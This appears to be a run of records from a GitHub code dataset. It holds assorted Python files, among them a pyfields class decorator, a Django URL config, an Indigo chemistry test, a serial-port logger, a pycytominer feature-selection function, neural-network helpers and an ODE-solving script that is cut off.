assert include_upper is False\n assert include_dunder is False\n # use the parameter and use the correct check_types default value now\n _cls = check_types\n check_types = False # <-- important: variable is in the local context of _autofields\n return _autofields(cls=_cls)\n else:\n # called with arguments @autofields(...): return the decorator\n return _autofields\n\n\ndef is_dunder(name):\n return len(name) >= 4 and name.startswith('__') and name.endswith('__')\n\n\ndef is_reserved_dunder(name):\n return name in ('__doc__', '__name__', '__qualname__', '__module__', '__code__', '__globals__',\n '__dict__', '__closure__', '__annotations__') # '__defaults__', '__kwdefaults__')\n\n\n_dict, _hash = dict, hash\n\"\"\"Aliases for autoclass body\"\"\"\n\n\ndef autoclass(\n # --- autofields\n fields=True, # type: Union[bool, DecoratedClass]\n typecheck=False, # type: bool\n # --- constructor\n init=True, # type: bool\n # --- class methods\n dict=True, # type: bool\n dict_public_only=True, # type: bool\n repr=True, # type: bool\n repr_curly_mode=False, # type: bool\n repr_public_only=True, # type: bool\n eq=True, # type: bool\n eq_public_only=False, # type: bool\n hash=True, # type: bool\n hash_public_only=False, # type: bool\n # --- advanced\n af_include_upper=False, # type: bool\n af_include_dunder=False, # type: bool\n af_exclude=DEFAULT_EXCLUDED, # type: Iterable[str]\n ac_include=None, # type: Union[str, Tuple[str]]\n ac_exclude=None, # type: Union[str, Tuple[str]]\n):\n \"\"\"\n A decorator to automate many things at once for your class.\n\n First if `fields=True` (default) it executes `@autofields` to generate fields from attribute defined at class\n level.\n\n - you can include attributes with dunder names or uppercase names with `af_include_dunder` and\n `af_include_upper` respectively\n - you can enable type checking on all fields at once by setting `check_types=True`\n - the constructor is not generated at this stage\n\n Then it generates methods for the class:\n\n - if `init=True` (default) it generates the constructor based on all fields present, using `make_init()`.\n - if `dict=True` (default) it generates `to_dict` and `from_dict` methods. Only public fields are represented in\n `to_dict`, you can change this with `dict_public_only=False`.\n - if `repr=True` (default) it generates a `__repr__` method. Only public fields are represented, you can change\n this with `repr_public_only=False`.\n - if `eq=True` (default) it generates an `__eq__` method, so that instances can be compared to other instances and\n to dicts. All fields are compared by default, you can change this with `eq_public_only=True`.\n - if `hash=True` (default) it generates an `__hash__` method, so that instances can be inserted in sets or dict\n keys. All fields are hashed by default, you can change this with `hash_public_only=True`.\n\n You can specify an explicit list of fields to include or exclude in the dict/repr/eq/hash methods with the\n `ac_include` and `ac_exclude` parameters.\n\n Note that this decorator is similar to the [autoclass library](https://smarie.github.io/python-autoclass/) but is\n reimplemented here. In particular the parameter names and dictionary behaviour are different.\n\n :param fields: boolean flag (default: True) indicating whether to create fields automatically. See `@autofields`\n for details\n :param typecheck: boolean flag (default: False) used when fields=True indicating the value of `check_type`\n for created fields. Note that the type hint of each created field is copied from the type hint of the member it\n originates from.\n :param init: boolean flag (default: True) indicating whether a constructor should be created for the class if\n no `__init__` method is already present. Such constructor will be created using `__init__ = make_init()`.\n This is the same behaviour than `make_init` in `@autofields`. Note that this is *not* automatically disabled if\n you set `fields=False`.\n :param dict: a boolean to automatically create `cls.from_dict(dct)` and `obj.to_dict()` methods on the class\n (default: True).\n :param dict_public_only: a boolean (default: True) to indicate if only public fields should be\n exposed in the dictionary view created by `to_dict` when `dict=True`.\n :param repr: a boolean (default: True) to indicate if `__repr__` and `__str__` should be created for the class if\n not explicitly present.\n :param repr_curly_mode: a boolean (default: False) to turn on an alternate string representation when `repr=True`,\n using curly braces.\n :param repr_public_only: a boolean (default: True) to indicate if only public fields should be\n exposed in the string representation when `repr=True`.\n :param eq: a boolean (default: True) to indicate if `__eq__` should be created for the class if not explicitly\n present.\n :param eq_public_only: a boolean (default: False) to indicate if only public fields should be\n compared in the equality method created when `eq=True`.\n :param hash: a boolean (default: True) to indicate if `__hash__` should be created for the class if not explicitly\n present.\n :param hash_public_only: a boolean (default: False) to indicate if only public fields should be\n hashed in the hash method created when `hash=True`.\n :param af_include_upper: boolean flag (default: False) used when autofields=True indicating whether\n upper-case class members should be also transformed to fields (usually such names are reserved for class\n constants, not for fields).\n :param af_include_dunder: boolean flag (default: False) used when autofields=True indicating whether\n dunder-named class members should be also transformed to fields. Note that even if you set this to True,\n members with reserved python dunder names will not be transformed. See `is_reserved_dunder` for the list of\n reserved names.\n :param af_exclude: a tuple of explicit attribute names to exclude from automatic fields creation. See\n `@autofields(exclude=...)` for details.\n :param ac_include: a tuple of explicit attribute names to include in dict/repr/eq/hash (None means all)\n :param ac_exclude: a tuple of explicit attribute names to exclude in dict/repr/eq/hash. In such case,\n include should be None.\n :return:\n \"\"\"\n if not fields and (af_include_dunder or af_include_upper or typecheck):\n raise ValueError(\"Not able to set af_include_dunder or af_include_upper or typecheck when fields=False\")\n\n # switch between args and actual symbols for readability\n dict_on = dict\n dict = _dict\n hash_on = hash\n hash = _hash\n\n # Create the decorator function\n def _apply_decorator(cls):\n\n # create fields automatically\n if fields:\n cls = autofields(check_types=typecheck, include_upper=af_include_upper,\n exclude=af_exclude, include_dunder=af_include_dunder, make_init=False)(cls)\n\n # make init if not already explicitly present\n if init:\n _make_init(cls)\n\n # list all fields\n all_pyfields = get_fields(cls)\n if len(all_pyfields) == 0:\n raise ValueError(\"No fields detected on class %s (including inherited ones)\" % cls)\n\n # filter selected\n all_names = tuple(f.name for f in all_pyfields)\n selected_names = filter_names(all_names, include=ac_include, exclude=ac_exclude, caller=\"@autoclass\")\n public_selected_names = tuple(n for n in selected_names if not n.startswith('_'))\n\n # to/from dict\n if dict_on:\n dict_names = public_selected_names if dict_public_only else selected_names\n if \"to_dict\" not in cls.__dict__:\n\n def to_dict(self):\n \"\"\" Generated by @pyfields.autoclass based on the class fields \"\"\"\n return {n: getattr(self, n) for n in dict_names}\n\n cls.to_dict = to_dict\n if \"from_dict\" not in cls.__dict__:\n\n def from_dict(cls, dct):\n \"\"\" Generated by @pyfields.autoclass \"\"\"\n return cls(**dct)\n\n cls.from_dict = classmethod(from_dict)\n\n # __str__ and __repr__\n if repr:\n repr_names = public_selected_names if repr_public_only else selected_names\n if not repr_curly_mode: # default\n\n def __repr__(self):\n \"\"\" Generated by @pyfields.autoclass based on the class fields \"\"\"\n return '%s(%s)' % (self.__class__.__name__,\n ', '.join('%s=%r' % (k, getattr(self, k)) for k in repr_names))\n else:\n def __repr__(self):\n \"\"\" Generated by @pyfields.autoclass based on the class fields \"\"\"\n return '%s(**{%s})' % (self.__class__.__name__,\n ', '.join('%r: %r' % (k, getattr(self, k)) for k in repr_names))\n\n if \"__repr__\" not in cls.__dict__:\n cls.__repr__ = __repr__\n if \"__str__\" not in cls.__dict__:\n cls.__str__ = __repr__\n\n # __eq__\n if eq:\n eq_names = public_selected_names if eq_public_only else selected_names\n\n def __eq__(self, other):\n \"\"\" Generated by @pyfields.autoclass based on the class fields \"\"\"\n if isinstance(other, dict):\n # comparison with dicts only when a to_dict method is available\n try:\n _self_to_dict = self.to_dict\n except AttributeError:\n return False\n else:\n return _self_to_dict() == other\n elif isinstance(self, other.__class__):\n # comparison with objects of the same class or a parent\n try:\n for att_name in eq_names:\n if getattr(self, att_name) != getattr(other, att_name):\n return False\n except AttributeError:\n return False\n else:\n return True\n elif isinstance(other, self.__class__):\n # other is a subtype: call method on other\n return other.__eq__(self) # same as NotImplemented ?\n else:\n # classes are not related: False\n return False\n\n if \"__eq__\" not in cls.__dict__:\n cls.__eq__ = __eq__\n\n # __hash__\n if hash_on:\n hash_names = public_selected_names if hash_public_only else selected_names\n\n def __hash__(self):\n \"\"\" Generated by @autoclass. Implements the __hash__ method by hashing a tuple of field values \"\"\"\n\n # note: Should we prepend a unique hash for the class as `attrs` does ?\n # return hash(tuple([type(self)] + [getattr(self, att_name) for att_name in added]))\n # > No, it seems more intuitive to not do that.\n # Warning: the consequence is that instances of subtypes will have the same hash has instance of their\n # parent class if they have all the same attribute values\n\n return hash(tuple(getattr(self, att_name) for att_name in hash_names))\n\n if \"__hash__\" not in cls.__dict__:\n cls.__hash__ = __hash__\n\n return cls\n\n # Apply: Decorator vs decorator factory logic\n if isinstance(fields, type):\n # called without parenthesis: directly apply decorator on first argument\n cls = fields\n fields = True # set it back to its default value\n return _apply_decorator(cls)\n else:\n # called with parenthesis: return a decorator function\n return _apply_decorator\n\n\ndef filter_names(all_names,\n include=None, # type: Union[str, Tuple[str]]\n exclude=None, # type: Union[str, Tuple[str]]\n caller=\"\" # type: str\n ):\n # type: (...) -> Iterable[str]\n \"\"\"\n Common validator for include and exclude arguments\n\n :param all_names:\n :param include:\n :param exclude:\n :param caller:\n :return:\n \"\"\"\n if include is not None and exclude is not None:\n raise ValueError(\"Only one of 'include' or 'exclude' argument should be provided.\")\n\n # check that include/exclude don't contain names that are incorrect\n selected_names = all_names\n if include is not None:\n if exclude is not None:\n raise ValueError('Only one of \\'include\\' or \\'exclude\\' argument should be provided.')\n\n # get the selected names and check that all names in 'include' are actually valid names\n included = (include,) if isinstance(include, str) else tuple(include)\n incorrect = set(included) - set(all_names)\n if len(incorrect) > 0:\n raise ValueError(\"`%s` definition exception: `include` contains %r that is/are \"\n \"not part of %r\" % (caller, incorrect, all_names))\n selected_names = included\n\n elif exclude is not None:\n excluded_set = {exclude} if isinstance(exclude, str) else set(exclude)\n incorrect = excluded_set - set(all_names)\n if len(incorrect) > 0:\n raise ValueError(\"`%s` definition exception: exclude contains %r that is/are \"\n \"not part of %r\" % (caller, incorrect, all_names))\n selected_names = tuple(n for n in all_names if n not in excluded_set)\n\n return selected_names\n\n\n# def method_already_there(cls,\n# method_name, # type: str\n# this_class_only=False # type: bool\n# ):\n# # type: (...) -> bool\n# \"\"\"\n# Returns True if method `method_name` is already implemented by object_type, that is, its implementation differs\n# from the one in `object`.\n#\n# :param cls:\n# :param method_name:\n# :param this_class_only:\n# :return:\n# \"\"\"\n# if this_class_only:\n# return method_name in cls.__dict__ # or vars(cls)\n# else:\n# method = getattr(cls, method_name, None)\n# return method is not None and method is not getattr(object, method_name, None)\n\n\ndef getownattr(cls, attrib_name):\n \"\"\"\n Return the value of `cls.` if it is defined in the class (and not inherited).\n If the attribute is not present or is inherited, an `AttributeError` is raised.\n\n >>> class A(object):\n ... a = 1\n >>>\n >>> class B(A):\n ... pass\n >>>\n >>> getownattr(A, 'a')\n 1\n >>> getownattr(A, 'unknown')\n Traceback (most recent call last):\n ...\n AttributeError: type object 'A' has no attribute 'unknown'\n >>> getownattr(B, 'a')\n Traceback (most recent call last):\n ...\n AttributeError: type object 'B' has no directly defined attribute 'a'\n\n \"\"\"\n attr = getattr(cls, attrib_name)\n\n for base_cls in cls.__mro__[1:]:\n a = getattr(base_cls, attrib_name, None)\n if attr is a:\n raise AttributeError(\"type object %r has no directly defined attribute %r\" % (cls.__name__, attrib_name))\n\n return attr\n","repo_name":"smarie/python-pyfields","sub_path":"pyfields/autofields_.py","file_name":"autofields_.py","file_ext":"py","file_size_in_byte":27526,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"53"}
+{"seq_id":"557788920","text":"from django.urls import path, include\n# from rest_framework.routers import DefaultRouter\n\nfrom .views import AddStatsView\n\napp_name = \"api\"\n\n\nurlpatterns = [\n path('stats/', AddStatsView.as_view(), name='stats'),\n path('auth/', include(('garpix_auth.urls', 'garpix_auth'), namespace='garpix_auth')),\n]\n","repo_name":"garinvit/notebook-stats","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18294874242","text":"import os\nimport sys\nfrom itertools import product\n\nsys.path.append(\n os.path.normpath(\n os.path.join(os.path.abspath(__file__), \"..\", \"..\", \"..\", \"common\")\n )\n)\nfrom env_indigo import Indigo, joinPathPy # noqa\n\nindigo = Indigo()\n\n\ndef getProduct(reaction):\n for mol in reaction.iterateProducts():\n return mol\n return None\n\n\ndef loadSdf(sdf_path):\n sdfiterator = indigo.iterateSDFile(sdf_path)\n result = [m.clone() for m in sdfiterator]\n sdfiterator.dispose()\n return result\n\n\ndef buildRpeReactions(test_dir):\n reaction = indigo.loadQueryReactionFromFile(\n joinPathPy(os.path.join(\"tests\", test_dir, \"reaction.rxn\"), __file__)\n )\n mons = []\n for i in range(reaction.countReactants()):\n reactant_mons = loadSdf(\n joinPathPy(\n os.path.join(\"tests\", test_dir, \"mons{0}.sdf\".format(i + 1)),\n __file__,\n )\n )\n mons.append(reactant_mons)\n\n return indigo.reactionProductEnumerate(reaction, mons)\n\n\ndef testRpe():\n for test_dir in sorted(os.listdir(joinPathPy(\"tests\", __file__))):\n print(\"Test %s\" % test_dir)\n rpe_reactions = buildRpeReactions(test_dir)\n products_smiles = []\n for reaction in rpe_reactions.iterateArray():\n rpe_product = getProduct(reaction)\n rpe_csmiles = rpe_product.canonicalSmiles()\n products_smiles.append(rpe_csmiles)\n\n products_smiles.sort()\n for prod_sm in products_smiles:\n print(\" %s\" % prod_sm)\n\n\n# make possible options combintation\nopset = [\n product([\"rpe-multistep-reactions\"], [\"0\", \"1\"]), # bug was caused by 1 \\\n product([\"rpe-mode\"], [\"grid\", \"one-tube\"]),\n product([\"rpe-self-reaction\"], [\"0\", \"1\"]),\n product([\"rpe-max-depth\"], [\"1\", \"3\"]),\n product([\"rpe-max-products-count\"], [\"4\", \"10\"]), # 10 -> 100 very long \\\n]\n# example with bug for test #9\n# opset = [ [ (\"rpe-multistep-reactions\", \"1\") ] ]\nopt_combintations = product(*opset)\nprint(\"Testing reaction products enumberator with different options\")\nfor opt_set in opt_combintations:\n print(\"\\n*** Test set ***\")\n for opt_tuple in opt_set:\n print(opt_tuple)\n indigo.setOption(*opt_tuple)\n testRpe()\n","repo_name":"epam/Indigo","sub_path":"api/tests/integration/tests/rpe/rpe.py","file_name":"rpe.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","stars":257,"dataset":"github-code","pt":"53"}
+{"seq_id":"23032217056","text":"import serial, sys, os\nimport csv\nimport math\n\n#192.168.0.117\n\n# For windows set to \"COM\" eg. \"COM19\". For Linux set to eg \"/dev/ttyUSB0\". Baud rate is 115200\nPORTNAME=\"/dev/ttyUSB0\"\ntime = []\nx = []\ny = []\ntheta = []\nleftvel = []\nrightvel = []\n\n\nser = serial.Serial(PORTNAME,baudrate=115200, timeout=2)\n\n\ndef write2csv(time,x,y,theta,leftvel,rightvel):\n with open('./qbii_data/square_2m_cw_vicon.csv', 'a', encoding='UTF8', newline='') as f:\n writer = csv.writer(f)\n writer.writerow([\"Time (s)\", \"x (cm)\", \"y (cm)\", \"theta (deg)\", \"left velocity ()\", \"right velocity ()\"])\n\n for i in range(len(time)):\n writer.writerow([time[i], x[i], y[i], theta[i]*360/(math.pi*2), leftvel[i], rightvel[i]])\n\n\ntry:\n while True:\n ser_bytes = ser.readline()\n decoded_bytes = ser_bytes.decode(\"utf-8\")\n \n # decode_bytes: str\n print(decoded_bytes)\n \n new = decoded_bytes.split(',')\n \n try:\n leftvel.append(float(new[0]))\n rightvel.append(float(new[1]))\n time.append(float(new[2]))\n x.append(float(new[3]))\n y.append(float(new[4]))\n theta.append(float(new[5]))\n except:\n pass\n\nexcept KeyboardInterrupt:\n print('\\nClosing...')\n try:\n write2csv(time,x,y,theta,leftvel,rightvel)\n print('Output File Sucessfully Saved\\n')\n sys.exit(0)\n except SystemExit:\n os._exit(0)\n\n\n# print('time = ', time[:10])\n# print('x = ', x[:10])\n# print('y = ', y[:10])\n# print('theta = ', theta[:10])\n# print('leftvel = ', leftvel[:10])\n# print('rightvel = ', rightvel[:10])\n\n\n","repo_name":"uncobruce/viconplotter","sub_path":"pyreadserial.py","file_name":"pyreadserial.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"21976338254","text":"\"\"\"\nSelect features to use in downstream analysis based on specified selection method\n\"\"\"\nfrom pycytominer.operations import (\n correlation_threshold,\n variance_threshold,\n get_na_columns,\n noise_removal,\n)\nfrom pycytominer.cyto_utils import (\n load_profiles,\n output,\n get_blocklist_features,\n infer_cp_features,\n drop_outlier_features,\n)\n\n\ndef feature_select(\n profiles,\n features=\"infer\",\n image_features=False,\n samples=\"all\",\n operation=\"variance_threshold\",\n output_file=None,\n output_type=\"csv\",\n na_cutoff=0.05,\n corr_threshold=0.9,\n corr_method=\"pearson\",\n freq_cut=0.05,\n unique_cut=0.01,\n compression_options=None,\n float_format=None,\n blocklist_file=None,\n outlier_cutoff=500,\n noise_removal_perturb_groups=None,\n noise_removal_stdev_cutoff=None,\n):\n \"\"\"Performs feature selection based on the given operation.\n\n Parameters\n ----------\n profiles : pandas.core.frame.DataFrame or file\n DataFrame or file of profiles.\n features : list\n A list of strings corresponding to feature measurement column names in the\n `profiles` DataFrame. All features listed must be found in `profiles`.\n Defaults to \"infer\". If \"infer\", then assume cell painting features are those\n prefixed with \"Cells\", \"Nuclei\", or \"Cytoplasm\".\n image_features: bool, default False\n Whether the profiles contain image features.\n samples : list or str, default \"all\"\n Samples to provide operation on.\n operation: list of str or str, default \"variance_threshold\n Operations to perform on the input profiles.\n output_file : str, optional\n If provided, will write feature selected profiles to file. If not specified, will\n return the feature selected profiles as output. We recommend that this output file be\n suffixed with \"_normalized_variable_selected.csv\".\n output_type : str, optional\n If provided, will write feature selected profiles as a specified file type (either CSV or parquet).\n If not specified and output_file is provided, then the file will be outputed as CSV as default.\n na_cutoff : float, default 0.05\n Proportion of missing values in a column to tolerate before removing.\n corr_threshold : float, default 0.9\n Value between (0, 1) to exclude features above if any two features are correlated above this threshold.\n corr_method : str, default \"pearson\"\n Correlation type to compute. Allowed methods are \"spearman\", \"kendall\" and \"pearson\".\n freq_cut : float, default 0.05\n Ratio (2nd most common feature val / most common). Must range between 0 and 1.\n Remove features lower than freq_cut. A low freq_cut will remove features\n that have large difference between the most common feature and second most\n common feature. (e.g. this will remove a feature: [1, 1, 1, 1, 0.01, 0.01, ...])\n unique_cut: float, default 0.01\n Ratio (num unique features / num samples). Must range between 0 and 1.\n Remove features less than unique cut. A low unique_cut will remove features\n that have very few different measurements compared to the number of samples.\n compression_options : str or dict, optional\n Contains compression options as input to\n pd.DataFrame.to_csv(compression=compression_options). pandas version >= 1.2.\n float_format : str, optional\n Decimal precision to use in writing output file as input to\n pd.DataFrame.to_csv(float_format=float_format). For example, use \"%.3g\" for 3\n decimal precision.\n blocklist_file : str, optional\n File location of datafrmame with with features to exclude. Note that if \"blocklist\" in operation then will remove standard blocklist\n outlier_cutoff : float, default 500\n The threshold at which the maximum or minimum value of a feature across a full experiment is excluded. Note that this procedure is typically applied after normalization.\n noise_removal_perturb_groups: str or list of str, optional\n Perturbation groups corresponding to rows in profiles or the the name of the metadata column containing this information.\n noise_removal_stdev_cutoff: float,optional\n Maximum mean feature standard deviation to be kept for noise removal, grouped by the identity of the perturbation from perturb_list. The data must already be normalized so that this cutoff can apply to all columns.\n\n Returns\n -------\n selected_df : pandas.core.frame.DataFrame, optional\n The feature selected profile DataFrame. If output_file=None, then return the\n DataFrame. If you specify output_file, then write to file and do not return\n data.\n\n \"\"\"\n\n all_ops = [\n \"variance_threshold\",\n \"correlation_threshold\",\n \"drop_na_columns\",\n \"blocklist\",\n \"drop_outliers\",\n \"noise_removal\",\n ]\n\n # Make sure the user provides a supported operation\n if isinstance(operation, list):\n assert all(\n [x in all_ops for x in operation]\n ), \"Some operation(s) {} not supported. Choose {}\".format(operation, all_ops)\n elif isinstance(operation, str):\n assert operation in all_ops, \"{} not supported. Choose {}\".format(\n operation, all_ops\n )\n operation = operation.split()\n else:\n return ValueError(\"Operation must be a list or string\")\n\n # Load Data\n profiles = load_profiles(profiles)\n\n if features == \"infer\":\n features = infer_cp_features(profiles, image_features=image_features)\n\n excluded_features = []\n for op in operation:\n if op == \"variance_threshold\":\n exclude = variance_threshold(\n population_df=profiles,\n features=features,\n samples=samples,\n freq_cut=freq_cut,\n unique_cut=unique_cut,\n )\n elif op == \"drop_na_columns\":\n exclude = get_na_columns(\n population_df=profiles,\n features=features,\n samples=samples,\n cutoff=na_cutoff,\n )\n elif op == \"correlation_threshold\":\n exclude = correlation_threshold(\n population_df=profiles,\n features=features,\n samples=samples,\n threshold=corr_threshold,\n method=corr_method,\n )\n elif op == \"blocklist\":\n if blocklist_file:\n exclude = get_blocklist_features(\n population_df=profiles, blocklist_file=blocklist_file\n )\n else:\n exclude = get_blocklist_features(population_df=profiles)\n elif op == \"drop_outliers\":\n exclude = drop_outlier_features(\n population_df=profiles,\n features=features,\n samples=samples,\n outlier_cutoff=outlier_cutoff,\n )\n elif op == \"noise_removal\":\n exclude = noise_removal(\n population_df=profiles,\n features=features,\n samples=samples,\n noise_removal_perturb_groups=noise_removal_perturb_groups,\n noise_removal_stdev_cutoff=noise_removal_stdev_cutoff,\n )\n excluded_features += exclude\n features = [feat for feat in features if feat not in excluded_features]\n\n excluded_features = list(set(excluded_features))\n\n selected_df = profiles.drop(excluded_features, axis=\"columns\")\n\n if output_file != None:\n output(\n df=selected_df,\n output_filename=output_file,\n output_type=output_type,\n compression_options=compression_options,\n float_format=float_format,\n )\n else:\n return selected_df\n","repo_name":"cytomining/pycytominer","sub_path":"pycytominer/feature_select.py","file_name":"feature_select.py","file_ext":"py","file_size_in_byte":7873,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"53"}
+{"seq_id":"38933955734","text":"import numpy as np\r\nfrom handlers import *\r\n\r\n\r\ndef normalize(X):\r\n m = X.shape[1]\r\n mu = np.mean(X)\r\n sigma = np.sum(X**2) / m\r\n return (X-mu)/sigma\r\n\r\n\r\ndef initialize_random_parameters(layer_dims, X):\r\n parameters = {}\r\n parameters[\"W1\"] = np.random.randn(layer_dims[0], X.shape[0]) * 0.01\r\n parameters[\"b1\"] = np.zeros((layer_dims[0], 1))\r\n for i in range(1, len(layer_dims)):\r\n parameters[\"W\" + str(i+1)] = np.random.randn(layer_dims[i], layer_dims[i-1]) * 0.01\r\n parameters[\"b\" + str(i+1)] = np.zeros((layer_dims[i], 1))\r\n\r\n return parameters\r\n\r\n\r\ndef linear_forward(A, W, b):\r\n Z = np.dot(W, A) + b\r\n cache = {\"A\" : A,\r\n \"W\" : W,\r\n \"b\" : b}\r\n return Z, cache\r\n\r\n\r\ndef linear_activation_forward(A_prev, W, b, activation):\r\n Z, linear_cache = linear_forward(A_prev, W, b)\r\n if activation == 'sigmoid':\r\n A, activation_cache = sigmoid(Z)\r\n elif activation == 'relu':\r\n A, activation_cache = relu(Z)\r\n\r\n cache = (linear_cache, activation_cache)\r\n return A, cache\r\n\r\n\r\ndef L_model_forward(X, parameters):\r\n caches = []\r\n A = X\r\n L = len(parameters) // 2\r\n\r\n for i in range(1, L):\r\n A, cache = linear_activation_forward(A, parameters[\"W\" + str(i)], parameters[\"b\" + str(i)], 'relu')\r\n caches.append(cache)\r\n\r\n A, cache = linear_activation_forward(A, parameters[\"W\" + str(L)], parameters[\"b\" + str(L)], 'sigmoid')\r\n caches.append(cache)\r\n\r\n return A, caches\r\n\r\n\r\ndef linear_backward(dZ, cache):\r\n A_prev = cache['A']\r\n W = cache['W']\r\n m = A_prev.shape[1]\r\n\r\n dW = np.dot(dZ, A_prev.T) / m\r\n db = np.sum(dZ, axis=1, keepdims=True) / m\r\n dA_prev = np.dot(W.T, dZ)\r\n\r\n return dA_prev, dW, db\r\n\r\n\r\ndef linear_activation_backward(dA, cache, activation):\r\n linear_cache, activation_cache = cache\r\n\r\n if activation == 'sigmoid':\r\n dZ = sigmoid_backward(dA, activation_cache)\r\n elif activation == 'relu':\r\n dZ = relu_backward(dA, activation_cache)\r\n\r\n dA_prev, dW, db = linear_backward(dZ, linear_cache)\r\n\r\n return dA_prev, dW, db\r\n\r\n\r\ndef L_model_backward(AL, Y, caches):\r\n L = len(caches)\r\n grads = {}\r\n Y = Y.reshape(AL.shape)\r\n dAL = - (np.divide(Y, AL) - np.divide(1-Y, 1-AL))\r\n\r\n current_cache = caches[L-1]\r\n grads[\"dA\" + str(L-1)], grads[\"dW\" + str(L)], grads[\"db\" + str(L)] = linear_activation_backward(dAL, current_cache, 'sigmoid')\r\n for l in range(L-1)[::-1]:\r\n current_cache = caches[l]\r\n grads[\"dA\" + str(l)], grads[\"dW\" + str(l+1)], grads[\"db\" + str(l+1)] = linear_activation_backward(grads[\"dA\" + str(l+1)], current_cache, 'relu')\r\n\r\n return grads\r\n\r\n\r\ndef compute_cost(y, yhat):\r\n m = y.shape[1]\r\n cost = - np.sum(y * np.log(yhat) + (1-y) * (np.log(1-yhat))) / m\r\n return cost\r\n\r\n\r\ndef update_parameters(parameters, grads, learning_rate=0.05):\r\n L = parameters.__len__() // 2\r\n for i in range(1, L+1):\r\n parameters[\"W\" + str(i)] -= learning_rate * grads[\"dW\" + str(i)]\r\n parameters[\"b\" + str(i)] -= learning_rate * grads[\"db\" + str(i)]\r\n\r\n return parameters\r\n\r\n\r\ndef accuracy_score(Yhat, Y):\r\n Yhat = np.where(Yhat < 0.5, 0, 1)\r\n accuracy = 100 - np.mean(np.abs(Yhat-Y) * 100)\r\n return accuracy\r\n\r\n\r\ndef predict(X, Y, parameters):\r\n AL, caches = L_model_forward(X, parameters)\r\n AL = np.where(AL < 0.5, 0, 1)\r\n accuracy = accuracy_score(AL, Y)\r\n return accuracy, AL\r\n\r\n\r\ndef plot_cost_log(cost_log, learning_rate):\r\n plt.plot(cost_log)\r\n plt.xlabel(\"Iteration\")\r\n plt.ylabel(\"Cost\")\r\n plt.title(f\"Cost Function | Learning Rate : {learning_rate}\")\r\n plt.show()","repo_name":"ParthikB/DNN-from-scratch","sub_path":"DNN_helpers_v2.py","file_name":"DNN_helpers_v2.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"41988856925","text":"# Sigamos con matemáticas elementales para no perder la costumbre y retar nuestras habilidades. \r\n# Escribe un programa donde apliques las diferentes fórmulas matemáticas para calcular el volumen de un cilindro.\r\n# Recuerda que la base del cilindro es un círculo y necesitarás calcular su área. \r\n# Aplica las fórmulas en tu programa recibiendo datos como altura y radio.\r\n\r\n# **Bonus: agrega otras figuras geométricas a tu programa y que el usuario pueda escoger cuál calcular.**\r\n# Fórmulas de un cilindro:\r\n# Área base = pi * radio²\r\n# Volumen = área base *altura\r\n\r\n# A un cono aplicamos las siguientes fórmulas:\r\n# Base = pi * Radio^2\r\n# Volumen = 1/3 * base * altura\r\n\r\n# A prismas se aplican las siguientes fórmulas:\r\n# Volumen = base * altura\r\n\r\ndef calculadora(opcion, altura, radio):\r\n PI = 3.1416\r\n if opcion == 1:\r\n volumen = round((PI * radio**2 * altura),4)\r\n else:\r\n volumen = round((((PI * radio**2)/3) * altura),4)\r\n volumen = str(volumen)\r\n return volumen\r\n\r\n\r\ndef run():\r\n i = 0\r\n FIGURAS = [\" \", \"Cilindro\", \"Cono\"]\r\n print(\"Bienvenid@ a esta calculadora de volumenes\")\r\n while i == 0:\r\n menu = \"\"\"\r\n \r\n 1 - Cilindro\r\n 2 - Cono\r\n \r\n Elige una opción: \"\"\"\r\n opcion = int(input(menu))\r\n if 0 < opcion <= 2:\r\n altura = float(input(\"Digita la altura de tu figura: \"))\r\n radio = float(input(\"Digita el radio de tu figura: \"))\r\n print(\"El volumen del \" + FIGURAS[opcion] + \" es: \" + calculadora(opcion, altura, radio))\r\n break\r\n else:\r\n print(\"Digite una opción correcta\")\r\n continue\r\n\r\nif __name__ == '__main__':\r\n run()","repo_name":"anblackter/python_cardio","sub_path":"reto4.py","file_name":"reto4.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19548529972","text":"# Using the in-built solve_ivp function to solve an ODE under various parameters\n\n# Import relavent libraries and functions\nfrom scipy.integrate import solve_ivp\nimport matplotlib.pyplot as plt\n\n# Step 1\n# Define the ODE and solve it\ndxdt = lambda t,x : -2*x\nsol = solve_ivp(dxdt, [5, 15], [10] )\n\n# Graphing the solution, in order to visualize it\nplt.figure()\nplt.plot(sol.t, sol.y[0])\nplt.title(\"Step 1: dx/dt = -2x\")\nplt.xlabel(\"t-values\")\nplt.ylabel(\"x-values\")\nplt.show()\n\n# Step 2\n# Deterimining value of x(t=7)\nsol = solve_ivp(dxdt, [5, 15], [10], t_eval = [7] )\nprint(\"This is the value for x(t=7): \" + str(sol.y[0]))\n\n# Step 3\n# Adding a B parameter to the ODE\ndxdt = lambda t,x, B: B*x\n\nB=-2\n\n# Solving the ODE with an additional parameter\nsol = solve_ivp(dxdt, [5, 15], [10], args=(B,) )\n# Graphing the solution, in order to visualize it\nplt.figure()\nplt.plot(sol.t, sol.y[0])\nplt.title(\"Step 3: dx/dt = -2x\")\nplt.xlabel(\"t-values\")\nplt.ylabel(\"x-values\")\nplt.show()\n\n# Step 4\n# Solving the ODE for various B Parameter values\nsol1 = solve_ivp(dxdt, [5, 15], [10], args=(-2,) )\nsol2 = solve_ivp(dxdt, [5, 15], [10], args=(-4,) )\nsol3 = solve_ivp(dxdt, [5, 15], [10], args=(-6,) )\nsol4 = solve_ivp(dxdt, [5, 15], [10], args=(-8,) )\n\n# Graphing the solutions, in order to visualize it\nplt.figure()\nplt.plot(sol1.t, sol1.y[0], label='B = -2')\nplt.plot(sol2.t, sol2.y[0], label='B = -4')\nplt.plot(sol3.t, sol3.y[0], label='B = -6')\nplt.plot(sol4.t, sol4.y[0], label='B = -8')\nplt.title(\"Step 4: dx/dt = 